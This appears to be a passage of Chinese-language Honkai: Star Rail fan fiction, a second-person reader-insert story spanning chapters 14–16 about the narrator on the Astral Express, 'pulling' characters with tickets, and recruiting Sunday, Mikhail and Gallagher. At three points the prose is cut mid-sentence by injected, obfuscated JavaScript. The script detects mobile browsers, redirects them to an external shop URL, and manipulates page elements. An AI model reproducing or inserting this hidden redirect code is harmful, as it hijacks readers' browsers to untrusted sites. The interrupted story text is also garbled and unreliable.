“帕姆和乘客说了不行帕。乘客不可以摸列车长耳朵,也不可以摸列车长的头!”帕姆有些无奈你借着开拓的名义缠着列车长。世界上会有摸摸列车长就可以种下开拓锚点的事吗?列车长回忆了一番和开拓阿基维利的旅程,“虽然开拓的精神就是开拓,但是应该没有这样的事帕。” 帕姆:我和开拓本拓一起旅行过,所以别想蒙混过关.jpg 你飞速思考。帕姆是不下列车的,按列车访客评价来看,不止一人对着帕姆给出了“深不可测”的评价,如果要在列车上取一个稳定的点来作为代表,那毫无疑问是列车长帕姆——如果不算列车本车的话。 在“忍住诱惑,不加入你申请摸列车长的队伍中”的挑战面前,三月七取得了0.01s的好成绩。 “列车长——哎呀,帕姆,好列车长,你就帮帮她吧——开拓信标也算是开拓吧?”三月七朝你眨眼。 “三月乘客,这不是一回事帕。信标的事当然会由我们负责,领航员和我都已经答应了帕。但是帕姆是列车长,才不是开拓信标,不要把信标和列车长混为一谈帕!”帕姆一脸正色。 本来就毛绒绒的,更可爱了,想摸。你朝三月七点头。 “那我能打听列车长的作息时间吗?”你一脸笑容。 “……新乘客。帕姆听得懂你是想趁帕姆睡觉偷偷摸帕姆脑袋帕,不要对这种事情这么在意啊!”帕姆无奈,帕姆摆了摆手,“摸吧,只能一下。” “我没听错吧!丹恒,帕姆刚刚说了什么?”三月七问丹恒。 “三月乘客说这是为了开拓,虽然帕姆觉得离奇,但是如果实在对新乘客很重要——”帕姆有些犹豫,列车长上前两步,毛绒绒的小身体近在眼前。 “这简直是我最幸福的一天!”你的眼睛一下就亮了,“帕姆呜呜呜呜——” 你郑重地伸出手,然后被那柔软的触感俘获,“如果要用什么来形容这种感受,我会说我摸到了幸福,像软乎乎的云,甜丝丝的棉花糖,香醇的布朗尼,巧克力脆皮小点心!” “就算你这么说也——只能摸一下噢。”帕姆摇了摇头。“你说的那个开拓,有成功吗?” 你静下心,仔细感受片刻,有解锁的声音此时才回荡起来。 “成功了噢。”你说,“我刚刚确认了一下。” “那你岂不是想什么时候来找我们玩,就可以什么时候来啦?多来找我们玩啊!就是不知道你什么时候有时间,要不就今天?”三月七问你。 “可以吗,可以吗?不会打扰到大家吗?”你朝她眨眼。 “可以噢。”帕姆似乎很想看看列车在能源和外形上是否有什么新的拓展,“欢迎来乘坐列车,或者是来访问。” 从原则上来讲,列车不会拒绝你这样的乘客,而如果你能够使用开拓的力量,列车更是会把你当亲爱的伙伴——能够解决燃料的问题,代表你也在开拓。动力更加充足的列车当然更好!这对列车的顺利行驶是很重要的。 谁懂,先不提星核猎手,和你那个在剧情里面就错过的“丹恒给的人工呼吸”,你也是从空间站上了列车了!你又开拓了!你眼泪汪汪。 “哎哎,怎么忽然就哭了!哎呀,真是拿你没办法,给你摸帕,就一下!” 14. 星琼!是星琼啊! 你再次回到列车的第一天,不同身份的星期日依次对你微笑。 你再次回到列车的第二天,丹恒对着饮月限定版本的自己陷入沉思。 “——这不对吧?”帕姆大声说,“你们几个,根本没有事先做过访客登记啊帕!” 这个,这个嘛……猜出眼前的境况或许跟你有关,你汗流浃背,试图在列车上刷新出长夜月之前找到解决的办法。 “事到如今,我还是回一趟匹诺康尼吧?”你说。 “找到你了。”耳羽轻轻扇动,星期日的声音极为温柔。 你愣了三秒,视线迅速环顾四周,很好,你的确还在列车上,没有因为什么操作失误而把自己送进匹诺康尼。 找到你了?所以这是你见过的,什么节点上的星期日来着? 你专注地望着星期日,等待他给出更多内容。 星期日却没有顺着给你更多提示,他弯起眼,“来,伸手。” 手里的彩色石头透着些微的凉意,它们通透里又有些流光溢彩。 星琼!你差点惊呼出声。访客系统诚不欺你,原来客人真的会给你带星琼啊! 你将星琼收好,又与星期日对视:从前你可不会思考为什么访客单单把这漂亮小石头给你,但此刻大家都在,你却有些不好意思了。 “这样是不是不太好?”你犹豫了一下,有些得了零食没有分给大家的微妙感觉。 “你可以试试看。”星期日倒是丝毫不慌,你多少能从他的反应里猜出点什么——他知道这里是星穹列车! 他知道,那你也知道了。你抱回来的时装外套,正属于眼前的星期日。 试试看?星期日这样分析或许有他的道理。于是你到处试着发亮晶晶的小石头。 ——原来还会回到你的手上啊。 你看着会自己回到你的库存里的星琼啧啧称奇,星期日笑而不语。 “既然又拿到了星琼……”你倏地拿出一张金光闪闪的车票来,递给星期日,“请加入我的旅程!” “现在加入你的旅程,对我而言或许还为时过早。我还不确定这趟旅程要朝往何方,而匹诺康尼对我来说——”星期日努力让话语显得柔和,只是几句话的功夫,你手里已经托起了一打金色的票据。 “啪嗒。”没握住的光锥落在沙发上,声音像一个小小的气泡,星期日看了一眼,上面浮动着几株麦穗。 ——这正是忆者们最喜欢的声音。濳在车厢内的忆者差点浮现出半个形影,她的指节微微做出了抓取的动作,以弥补不能去拣的遗憾。 星期日看过你的记忆,因此他大概能猜出来,你此时不停拿出车票的行为,用你的语言来说,叫“抽卡”。但是他才说了三句话啊!你是十张十张起抽的吗! 你意犹未尽地晃了晃手里的小口袋,漂亮的石头在里面叮当作响,“你就答应我嘛,这是我——” “作为我狂热粉丝的请求?”星期日一派从容。 你发出尖锐爆鸣。 “你怎么还记得这一茬?”你压低声音,“我不要面子的吗?” “我为什么要忘?”星期日问你。他其实不太确定你此时邀请他的缘由——是想要测试抽卡的能力,“真的很缺人拉条”,还是喜欢他。但在你的记忆里,他其实见过你攒星琼的样子:跑图,开箱子,接任务,有零有整,细细攒起来,去换成一张又一张车票。 你喜欢这种漂亮的小石头,主要原因也正来源于此。 原来这是邀请——一张金色的车票,160分,分成彩色的漂亮小石头,而你期待地望着它的数量变成160。 星期日此刻的感受难以用语言来描绘,如果说此前他在你的记忆里窥见你的游戏日常,那此刻他将二者完全对应,心情更是微妙了许多。 “如果我没记错的话,你之前的卡池有各自开放的时间。”星期日提醒你,“你确定现在开的是我的卡池吗?” 你沉默片刻,欲言又止,“好多……好多卡池啊。” “丹恒一张你一张,三月七一张你一张,知更鸟一张你一张——知更鸟不在,转交能用上吗?”你忽然开始端水。 丹恒握着车票,神情有些微妙。身为列车的一员,到底为什么他还需要收到列车的车票作为邀请啊?而且,你到底为什么会有那么多车票。 身着仙舟服饰的水龙和异域风情的金色的龙在他眼前浮现出虚影,丹恒觉得有些怪异,但他忍不住开口问你,“你邀请的,究竟是那个饮月、腾荒,还是现在的我?” 这是可以选的吗!你睁大眼睛,将一大把金色车票塞到丹恒手里,“能选7次饮月、6次腾荒吗?” 你已经不记得开场是否直接解锁丹恒了,但此时你显然不确定这个解锁是不是还有效,“要不然,三个都选7!” “……好像不行。”丹恒握着车票,仔细地感受了一下,七连七个饮月,多少还是有些太困难了,“三个可以吗?” 你正待开口,忽然听到帕姆“哇哦”了一声,然后冲到了你怀里。稳稳抱住列车长,你看到了若干金色闪光。 “原来三个的意思是,三个饮月和三个腾荒啊。”你轻声感慨。“帕姆,咱也是过上好日子了。” 忽然被你抱住的帕姆有点紧绷,但列车长就是列车长,抱起来温暖又柔软,你又“呜呜”了两声,“有列车长抱,他们过的是什么好日子啊?” 帕姆试图理解你对“好日子”的定义,帕姆纠正你,“乘客,不是每个人在列车上都可以抱列车长的帕——不要什么都羡慕啊!” “不过……”帕姆的声音忽然小了,列车长似乎有点害羞,帕姆扭头不看你,“车厢的地板是谁拖的?下次不用拖这么干净了,摔到人就不好了帕!” 你连连点头。 “丹恒。”你注视着丹恒,眼含热泪,“结拜吗?兄弟?姐妹?兄妹?姐弟也可以的——” 丹恒没打算跟你论辈分,但姐弟是怎么来的?你是不是正在占什么伦理上的便宜? “饮月的形态我姑且见过,腾荒又是?”丹恒想起了那些旧梦,与他似乎不大相关,却又历历在目。 “如果说饮月是你很强的形态,腾荒也是你很强的另一个形态——鉴于你说你只是多掌握了一种力量,所以你姑且可以理解为:腾荒版本的你是更强的你。”你一脸正经,“我猜你可能会喜欢这个守护者形态——至于童话公主般的能听懂小动物说话,而且对他们超级有吸引力这一茬,你可以当我没说。” “那我呢?”三月七有些激动,“听起来就很有意思!” “把车票拿在手心,认真去感受。”丹恒现场教学,“和开拓的力量很像,或者说,这就是开拓的力量。” “我看看啊,仙舟版的我,还有长夜月!这个长夜月是——”三月七伸手,像是想在面板上做选择。 你一把握住三月七的手,“咱不着急。” 邀请的时候你倒是没忘了长夜月,但真正有可能面对长夜月,你还是忍不住有些发怵。 首先,你不是忆者,是而你对长夜月没有那种忆者会有的恐惧。但你是真猜不到长夜月会做些什么,而且列车里面的确有个忆者,你是真心不想看任何不利于身心健康的画面啊喂! “那你倒是给咱讲讲,长夜月这个名字是怎么一回事啊!”三月七望着你。 “她和你的过去有关——至于更具体的内容,由我代为转述,或许没有那么合适。”你斟酌言辞。 三月七的巡猎命途是在后面才解锁的,理论上不属于卡池的范畴,而更像是——那你岂不是也能通过车票看到这一套面板吗! 你也来! 比起命途,于你而言,这更像是变换了衣装,点亮毁灭命途的时候,你忽然就明白了关于开拓的知识——记载中冰冷的文字仿佛拥有自己的生命,这知识像数据,又像暖流,源源不断地涌向你。 ……源自开拓本身。你有些诧异地睁开眼睛:当你选择探索这个世界的时候,原来就已经踏上了开拓的命途。过去是如此,真正踏入这个世界亦是如此。 “……我可以打辅助了。”你喃喃自语。 * “我明白了一件事。”你一脸郑重。“原来我就是要吃开拓这碗饭的。” 这话听起来有些突然,列车长却忽然“咦”了一声,“新乘客做了什么?列车在回应你?” ——车厢在颤动。 这种共鸣感虽然细微,但帕姆绝不会错认,是开拓的意志在与你共鸣。 开拓啊……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496685|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂眼看着车厢的地板,想起了方才在同谐面板里看到的钟表小子。 ——你想这样做已经很久了。 你忽然很想把帕姆捧起来亲一口,但你忍住了。 “列车长口中没有事先登记的访客是因我而来。”你的声音又柔软了几分,“现在车上的客人是匹诺康尼的星期日,大家能信任我,我很开心。长夜月的事情,三月你先别探究——我或许很快就会回来,我决定现在就跟星期日回一趟匹诺康尼。” 旧日的无名客从列车上下车,从此不曾带着记忆归来。 另外两位前辈没有进角色卡池,但池子里是真的有米沙和加拉赫啊! 米沙是以某种与记忆相关的方式存在于匹诺康尼,他本身没有携带属于米哈伊尔的记忆,但米哈伊尔本人相关的记忆,如果没有完全被米沙继承,应该正保存于匹诺康尼。而加拉赫的身份藉由神秘构造…… 你心里大概有答案。如果有达成目标的机会,手法绝不只有一种。身怀神秘命途,又与记忆千丝万缕的长夜月,大概也会成为你还没有解明的强大助力。 但基于这两位在你的卡池角色能覆盖到的范围内,先让你按照自己的方式试试也无妨。 “跟我回匹诺康尼吗?”星期日似乎有些惊讶,这惊讶的程度甚至超过了他本人忽然出现在星穹列车上。 “嗯。”你点头。 你快速报完平安,朝列车组挥手。 正常来讲,你和星期日应该通过列车跃迁前往匹诺康尼,而你本人现在的可选途径包括且不限于开拓信标和坐标传送。 那么问题来了,你可以载人吗? 试试嘛。如果有人问你,你或许会这样回答,“组队,启动。” 为了确定你是和星期日一起传送,你不仅调整了编队,更是在使用传送之前拉住了星期日的手。 星期日似乎很有些意外,他有点僵硬地握住你的手——之前主动拉你的手要求读心的时候,他可没有这点不自在。 成功了!你长舒一口气,要是走跃迁的话,不是又要消耗列车的燃料了吗。 “果然很酷。”你如此评价第一次载人传输。 “嗯。”星期日的声音很轻,你顺着研究了一下他的方位,忽然有些震撼:你刚刚是抱着星期日的吗?怎么他现在环抱着你?什么时候的事,你怎么不知道? “……在想我的事?”星期日问。 “嗯……嗯。”你点头。 事情是怎么发展到这一步的?星期日主动抱住了你? 你快速尝试思考。 “你还欠我一个拥抱。”星期日忽然笑了,“你答应我的,只要我从装甲里出来,你就给我一个拥抱。” !你是答应了星期日没错,你答应“太一之梦”的主人,要给他一个拥抱。 “半个。”身边人轻声在你耳边呢喃,“这只能算半个。” 言下之意不难理解:他是环抱了你,但你还没有抱抱他。 “所以……我这不算不礼貌……吧。”你低声。 星期日是一位成年的男性,你很难用触感或者手感来形容他。但谁能拒绝给星期日一个拥抱呢?反正你不能。 抱着星期日的时候,脑子里喧嚣的念头平息下来,你想起的不是此人的美丽,也不是他的腰看起来很适合拥抱。 ——他就在这里。你只有这一个念头。 “……你回来了啊。”你轻声慨叹。 构筑属于“秩序”的梦境,星期日选择的道路,他业已行尽。 星期日没有否认,他的声音也轻的像感叹,“匹诺康尼的神奇之处,或许还在你的认知之外。而我要的许诺,一直是回到‘我’的身边。” “——那你没有答应我的邀请!”你睁圆眼睛。 “我并非想要拒绝你。只是在我明白加入旅程和队伍,对生活具体会造成什么改变之前,我需要一点观察和思考的时间。”星期日笑了,“怎么忽然松了一口气?——难不成你之前在想,要怎么对‘不同的星期日’负责?” “啊哈哈哈。”你不是很想接这个话,退一万步说,当时你们的承诺真的只是由同谐和秩序见证,没有欢愉在吗。 ——同谐姑且不提,这是秩序能想出来的内容吗! 15. 挖走舒翁的调酒师吧! “我有两个方案。”你跟星期日分析,“既然你读过我的记忆,应该没有太多消息需要重新跟你同步。第一个计划:直接将车票发给加拉赫和米沙,然后看看我亲爱的游戏机制能带给我什么惊喜,进了我个人的角色,那我总能把人喊出来的。但不确定的是,虚构那边还需不需要发力,有没有什么隐藏的雷区。” “第二个计划:考虑到匹诺康尼适合存放记忆,而忆者们的存在方式可以是模因+身体,所以他们也可以成为忆者——身体的事,得问一问忆者朋友,或者找一位手办大师想想办法。” 你忽然轻叹一声,“哎,真想把阿扎尔拉过来给我造机甲,反正他闲着也是闲着。” 阿扎尔究竟哪里算是闲着了?真不知道这位前任大贤者听见了你这话,是会吹胡子瞪眼,还是怒干三碗饭。 “身体当然还是自己喜欢的好,所以制作身体的时候,双方最好能及时沟通——要不还是把人带到匹诺康尼入住,直接在这边做?匹诺康尼和工造司,仙舟和梦境,退一万步说,这俩为什么就不能直接安在一起呢?” ——只退一步来说,你在匹诺康尼当着太一之梦的主人,说这种仙舟联盟为什么不能和匹诺康尼合并一样的话,其实相当危险。但好在这一步其实不用退,无论是星期日对你的了解,还是你们之间的关系,好像都足够他正确理解你的意思,然后颇有些无奈地瞅着你。 是的,你已经挑选好了一位手办大师:此时还完全不认识你的、仙舟联盟的百冶,应星。 说来说去,两条最好用的、关于身体制作的线索,一则是以忆者为身份的黑天鹅,和她精准带路的翁法罗斯。炼金术或许也能制作躯体,但是你需要阿那克萨戈拉斯的帮助。但波提欧说忆者很难找,那不巧了,列车上就有一个,你指的还不是没有身体的那位,而是让你飞速逃离的长夜月女士。 一则是擅长炼器的百冶,其中一位和你也算有点交情,但有交情的却非百冶版本的应星,而是星核猎手“刃”。 按照现有的条件,想忽然见到刃,概率好比黑天鹅从天而降,但另一个线索也在列车上。已知以丹恒为线索,可访问丹枫,那么以丹枫为线索,也应该能找到应星才对。 “……终于明白列车为什么总喜欢团队行动了。”你大为感慨。早知如此,你跑也要带着丹恒和三月一起跑来匹诺康尼:列车实在还是太全面了。 说起来是复杂了点,但如果游戏机制能生效和兜底,整个事情就会变得无比简单。 你思忖片刻,认真注视着星期日:“你说,你有多大把握能在匹诺康尼找到米沙和加拉赫?” “你想知道匹诺康尼此时的‘时刻’。”星期日笑了,“那何不再大胆一点呢?” 大胆一点?你的备用计划是直取流梦礁,米哈伊尔的记忆,和他本人,都在一场安宁的梦乡之中。流梦礁后来的米哈伊尔,不再回应外界的一切,而没有着身为米哈伊尔记忆的米沙,难以替代米哈伊尔作出决定。 “我明白了。”你点点头。 那个时代——属于米哈伊尔的时代。垂暮的钟表匠将隐藏了无限希望的邀请函,越过家族,散向四面八方,这才有了各方人员的登场,而在米哈伊尔能独立决断的时刻,又哪里需要谁越过他去做决定呢? 这的确是个好主意,但想到剧情,你又有些瑟瑟发抖:就不能无伤直通流梦礁吗? 这样说起来,你身上应该还有一样信物:让你喜提战技点+1的,属于无名客米哈伊尔的信物。 你又要做大胆的事了,你晃晃手腕,偏头看着星期日。 如果他有意要绑你,那就得趁现在了。 星期日了然,他伸手,彩色的绸带凭空出现,他在你腕间调整了一下,“好了。” 你把米哈伊尔的信物握在手里。这又是一次全新的试探,要以你的记忆对应为目标点。就是那个时候吧?光锥还躺在你背包里的,米哈伊尔的无名客时候。 ……有点困难。 不能化身人前,但你的力量却足以把一张崭新的车票,连同一份信笺一起放在米哈伊尔面前。 于是,在匹诺康尼下车的前夕,无名客米哈伊尔拥有了第二张星穹列车的车票。而这一张,足够他忽略通讯和停车的环节,快速回到他来时的那一趟列车。 “所以另一张怎么办?”你借着锚点找到此刻的星期日。倒不是你不肯放车票,你要放松的车票其实不止一张,但偏偏只有给米哈伊尔的那一张能准确送达,剩下的会自动回到你手心。“我不能指望前辈把狗当作挂件直接带给我,对吧?” 你想了想成年的米哈伊尔抱着小狗的场面,又想了一下米沙扛着加拉赫来找你的场景,心情一时十分微妙。 “……或许他不是真的狗。”星期日措辞严谨。 “那谁才是真的狗——等等,怎么像在骂人。既然这一点查不清,最好找一位了解‘神秘’的人。”可惜一来你有点怕长夜月切战斗状态,二来则是,就像黄泉的命途属于虚无却擅长拔刀,你也不是很能确定长夜月擅长的是维持“神秘”这个状态。 你忽然有点烦躁,“你说为什么我就不能直接到三位无名客都在的时刻,打包让他们签订契约——啊不,拿到车票重新上车呢!” 你刚刚是不是说了什么了不得的话?星期日没有完全读取你的知识储备,但他对你的性格多少有了一点了解,总觉得你那“契约”二字不是非常的美妙。 “或许是因为你的卡池里只有其中两位吧。”星期日一针见血。 你叹息一声,“人算不如天算,我算不如前辈算。那先看看前辈怎么算吧。” 按照穿越游戏的小说来算,你高低也能算有个挂,但你选择相信大家的聪明智慧:该听大黑塔的听大黑塔的,该听真理医生的听真理医生的,该听那刻夏的就听那刻夏的,朴素又直接。 “所以你的意思是,在还没有下车的时候,就又拿到了一张星穹列车的车票帕?”帕姆围着米哈伊尔展示给自己的车票转了两圈。 “确实承载着开拓的力量帕。一般都是凭着车票上车,这个倒像是能把人直接吸回列车上,不过不知道能用几次帕,如果是那种一次性的——总之你没事不要乱调用它的力量,就在真正需要的时候用它呼唤列车吧。” “神秘的礼物?或许是你家乡的传说成真,所以仅此一份儿。”铁尔南笑着逗米哈伊尔。 “……不。”青年想起那份信,看样子是个姑娘的手笔,这一点他没打算让太多朋友知道,以免总是拿来逗他。真正令米哈伊尔困惑的是,你的字里行间颇为热忱,明晃晃洋溢着喜爱,但如果真的有什么称得上是你的请求,那就是整封信的重点: 前一半是,这车票来之不易,请他一定要好好保存,然后在合适的时机用掉。后一半则是,请他务必带上他的狗,如果实在不能把狗用车票揣走,请务必留下线索。 *补充说明:如果没有真的养狗,遇到什么愿意给他当狗的人(或者其他生物非生物)也不是不行,默认当狗处理执行即可。 这对吗?米哈伊尔原本有心同人商议,此时他却无法把信拿出,以免对列车长造成什么不良影响。 ——你最好是在耍他,虽然字里行间看起来非常殷切、郑重,看起来一点也不像。但如果没有在耍他,你到底是从什么语境里能给出这样的请求啊?! 米哈伊尔默默握住那枚崭新的车票,留下第一个印痕。 米哈伊尔有着很好的一生:辉煌、跌宕,虽有惊心动魄之处,却又添了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496686|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分圆满。这枚车票却不仅是单程票,载着他几经来回跃迁,没有真正落入寂寞和孤立无援的境地。 只是信笺上的另一半话语,他总觉得有些戏谑的意味,直到他遇见加拉赫,又赫然发现信笺背面的字迹。 “……你管它叫‘聚散有时’?”你朝加拉赫眨眼。 加拉赫不明白你为什么突然如此激动。你借着舒翁的关系把他堵在调酒柜台,已经有一段时间了,你说要拿非常珍贵的东西把他从这里挖走。 被你当着撬墙角的舒翁耸肩,默许了这番豪言壮语。 加拉赫能说什么?他总不能真叫猎犬家系的人来抓你吧?虽然你看起来对此也早有心理预期——“不抓吗?好吧。我都准备好要说那句‘我一定会回来的’了。”你言语之间颇有点遗憾。 到底在遗憾什么。 你的心思有点难猜,加拉赫不是没有尝试着求助地看向舒翁,让她看在朋友一场的份上,解读一下你的想法,而舒翁不语,一味给他一个神秘的眼神。 就像现在,加拉赫也不是很能理解你忽然激动的原因。 好道具+经典饮品收藏,事实上就是没有玩家会拒绝这个。就像你一见到舒翁,马上就提出有空的时候能不能给她代班打工,有亮晶晶的漂亮石头就行。确实有此需要,且确实持有对应道具的舒翁:犹豫点头。 “是时候把我绝密珍藏的道具拿出来挖舒翁的墙角了。”你忽然点头,以迅雷不及掩耳之势握住加拉赫的手,把一枚又轻又薄的东西塞了进去。期间动作之迅速敏捷,让加拉赫没有逃开,甚至没有因为动作过大而牵连一旁的饮品。 “一枚星穹列车的车票。”你弯起眼睛。 * “这是否有点强买强卖?”舒翁眼看加拉赫睁大眼睛,然后紫色的光芒一闪,消失在原地。 “……也不能这么说吧?”你微妙地沉默了片刻,“答应了。” 一定是答应了,但答应的未必是眼前的加拉赫,你可亲可敬的米哈伊尔前辈究竟是怎么跟他说的,这你就不确定了。 “但总之,如果没有当事人的同意,这个传送效果是无法发动的。”你面带笑容,握着你给的车票,在他同意的时候才加入你的旅行的星期日,就是最好的例子。 当事人同意是同意了,但什么时期的当事人,这可能就有点不好说了。 你看着腕间的缎带,“真希望星期日已经成功签收了。” ——后期姑且不提,考虑到神主日的信号是真的能覆盖停在匹诺康尼外的列车,你自然是、自然是确认了星期日能稳定模因信号,甚至在必要的时候无痛开启神主日模式(参考你一键换衣切换命途),这才迅速把这位匹诺康尼的绅士送回列车。 这是你能想到的后手。三月七和丹恒就在列车上,有必要的话可以及时摇你回去打补丁——你能做到的准备姑且就只有这么多。 你坐在吧台前,将舒翁的特调一饮而尽。 “舒翁你真好,下次还来找你调饮品。”一杯梦幻气息极浓的果饮下肚,你似乎也有点微醺,“那话又说回来了,既然家族擅长搞这个调率,为什么不把这种效果直接放在音乐和满大街跑的广告里呢?这样的话,就不必依赖调饮品了呀?” “调率是极其精细的操作。”舒翁往你手心放了一只可爱的折纸小鸟。 “诶——但是原料也是不需要太多的吧?如果这样几种原料就足够按照需求来提供饮品,那么只需要精细一点点的个性搭配……”你比划着调饮品的动作。 舒翁若有所思。 “啊,还有欺负人的那些家伙,那样的情绪啊,如果能直接调掉的话——” “我明白了。”舒翁笑着指了指你的腕间,“你等的信号已经来了。” 16. 那帕姆也超级爱你 “帕姆最可爱的小姑娘——”你流畅接通电话,看见了眼泪汪汪的帕姆,“帕姆喊你回来吃饭帕。” 看来人是接到了。你浅吸一口气,小声试探,“亲爱的列车长,要是我说你前面忽然被我抱住的那一次,并不是地太滑——” “那帕姆也超级爱你帕!”列车长相当直球地向你表达激动之情。 那帕姆很开心了。你也弯了弯眼睛。 镜头一转,又转回星期日身上,“我大概能猜到你预估的情况。人是以你熟悉的样子出现的,也就是说——” “我还得干一票大的。”你的笑容稍显苦涩。模因也好,记忆也好,都得找到相当合适的载体。还有对加拉赫来说相当重要的“谜语”效果。 “可能和你想象的也不是那么一样。”蓝发的少年对准镜头微微一笑,“回到列车的,并非是纯粹的模因米沙,而是携带着过往记忆的米哈伊尔。” “所以回到列车的,是前辈和他的狗,而不是叔叔和侄子?”你试图理解两位之间因为光阴的重叠错落,形成的复杂而微妙的关系。“前辈,是时候动用你的人际关系了。你应该认识很会捏身体的手艺人吧?” “虽然很想说‘当然,请尽情相信我吧’,但对于这个时期的我来说,能算得上是人脉的存在,说不定你也认识。我是无名客,能仰赖的自然是列车上的诸位。” 那必然要请星期日留宿了!想不出还能有谁比他更清楚匹诺康尼本土的情况,能维持模因的稳定,又能随时调率。 “帕姆知道的帕。”没等你开口解释,帕姆就给出了回答,“新乘客,嗯,该说是你的特邀乘客吗?总之,没有等帕姆详细说明,那位乘客就很利落地答应了帕。他还说列车上有他的衣服,换洗起来也方便。” 啊?歌斐木他知道吗?你睁圆眼睛。 “虽然不知道列车上为什么会有那位乘客的衣服,不过帕姆会照顾好他的,饮食起居,不在话下。” “那他的工作——” “不必担心。”星期日已经换上了与你初见时的衣服,“我也是有些朋友的,你也清楚——万维克。” 自己替自己工作,无论从哪个定义上来说,都实在挑不出问题来。不过以那位万维克活泼的风格来说,倘若这段时间内,有什么重要决定特意要通过他经手,想必匹诺康尼又会多一些靓丽的风景吧。 手机从诸位面前转了个圈,终于又回到了它的主人手里,丹恒向你点了点头,“你的计划我们有所听闻。如果能帮上忙,无论是三月还是我,都不会推辞。” 要不还是考虑一番呢?毕竟一个是你不愿意触及的过去,另一个则是另一位三月七。你欲言又止,很想劝劝丹恒。 “无妨。” “那我还有一个问题。”你快速发问,“如果我试着摸丹枫的龙角,你会生我的气吗?” “……为什么是丹枫?”丹恒的语气颇有些微妙,“你跟他——很熟吗?” “应该不熟吧,但是可以熟。我积极一点,熟起来很快的。”你向丹恒展示自己开朗的那一面。 丹恒哪里知道,你在模拟宇宙中放飞自我,逐渐找到了一些熟悉的游玩经验,又在与星期日的较量中逐渐展现出气势。他上次见你的时候,你还带着些迷茫和不安。 是因为想要摸龙角而开心?但,为什么非得是丹枫?明明对着他的时候,你拘谨到会为提出请求而感到不安。 他与丹枫……他们的确是不同的。 丹恒垂眼,挪开镜头会显得有些太过刻意。他个人对你的保护欲和怜爱之情,在你面对要摸摸丹枫龙角的兴奋里,实在有些不合时宜。 丹恒哪里知道,倘你知道他此时在计较这个,想必还要诧异几分:你是说,我可以直接摸你的角吗?不生我的气? 变化了身份姑且不提,这举动固然是从你的个人爱好出发,但论亲近程度,对他来说恐怕能算得上是过界了。 你一心想讨个声明,也算是提前打过了招呼,好在丹恒同你计较之前,拿到某种类似于豁免的待遇,好要他不至于记你一笔——丹恒自然不是小心眼的人,可管着智库的人,记性实在太好,他若气恼,怕是没有那么快就忘怀。 丹恒迟迟不答,三月七却到了镜头前。将镜头转过去的时候,谁也不知道小青龙是个什么心情,“轮到本姑娘出马啦?就说我的来处,一定有神奇又瑰丽的故事,那我就按照前面的面板,切换长夜月模式啦?” “那个——三月。”你倒是明显地拘谨起来,“长夜月和你,其实又不太相同。我唯一非常确定的,就是她非常、非常喜欢三月七。” 如何确保能从长夜月手里活着回来,这显然是个问题。 “既然非常喜欢我的话,那只要和我一起——”三月七“咦”了一声,“切换形态的意思,难道是不能同时存在吗?如果她也是我,她岂不是没有自己的身体?好像也不能这么说——” 三月七试图理解长夜月为什么是三月七,又不是三月七。 “你完全抓住了重点,不愧是直觉超级灵敏的美少女。”你毫不吝啬赞美,“重点就是这样呢!” 剧情显然和组队面板存在一定的差距,譬如腾荒、饮月完全可以和丹恒组队,三月七和长夜月也是同理,但同样的,剧情又明说了长夜月想要可以陪伴三月七的身体。 真巧啊,你也要去整点“忆者用了都说好”“模因直呼没问题”的完美身体,给你那可敬可爱的无名客前辈。 既然目的有相同之处,说不定长夜月会愿意放你一马?另外的就得看丹恒了。 “好像是不能保证‘另一个我’就绝对不会凶你。如果有办法直接跟她沟通,应该要方便很多吧?先由我直接和她交流……不过如果是我的话。我是说,如果另一个我也是我,那么应该在某些方面是相同的。如果我愿意和你一起走,我想,她也会选择与你同路。”三月七有些郑重。 “早知道就问一下黑天鹅,她推荐什么材料了——要是能连制作人师傅的联系一起推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496687|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我就更好了。”你开起了玩笑。毕竟在你过剧情的时候,根本没有和黑天鹅谈论这个的选项。神秘莫测的长夜月的水母,啊不,忆灵轰炸,实在令人记忆犹新。面对长夜月,还是需要再多一点勇气。 “不是我的错觉?你想要说一些失礼的话?希望你还是不要在三月面前诋毁我的名声。” ……你的视线里是不是多了些红色的忆灵水母? 翁法罗斯里这些小家伙带来的凝视感,实在相当难忘。这玩意一旦出现,就好像在无声地说什么“我会一直注视着你,一直一直——” 这种内容只在玩梗的时候出现就可以了啊!这样贴近生活,会让你感到苦恼的! “啊哈哈哈那我直接问了。”这人是直接在读心没错吧?你努力保持笑容,“长夜月你好吃过饭了吗,有没有什么手艺师傅推荐啊,你知道我问的是什么对吧?” “没有推荐。”长夜月声音上扬,带着笑意,“要是知道合适的手艺人,我为什么不直接去找呢?” 不是为了离三月七更近,随时保护吗?你想不出第二个理由。 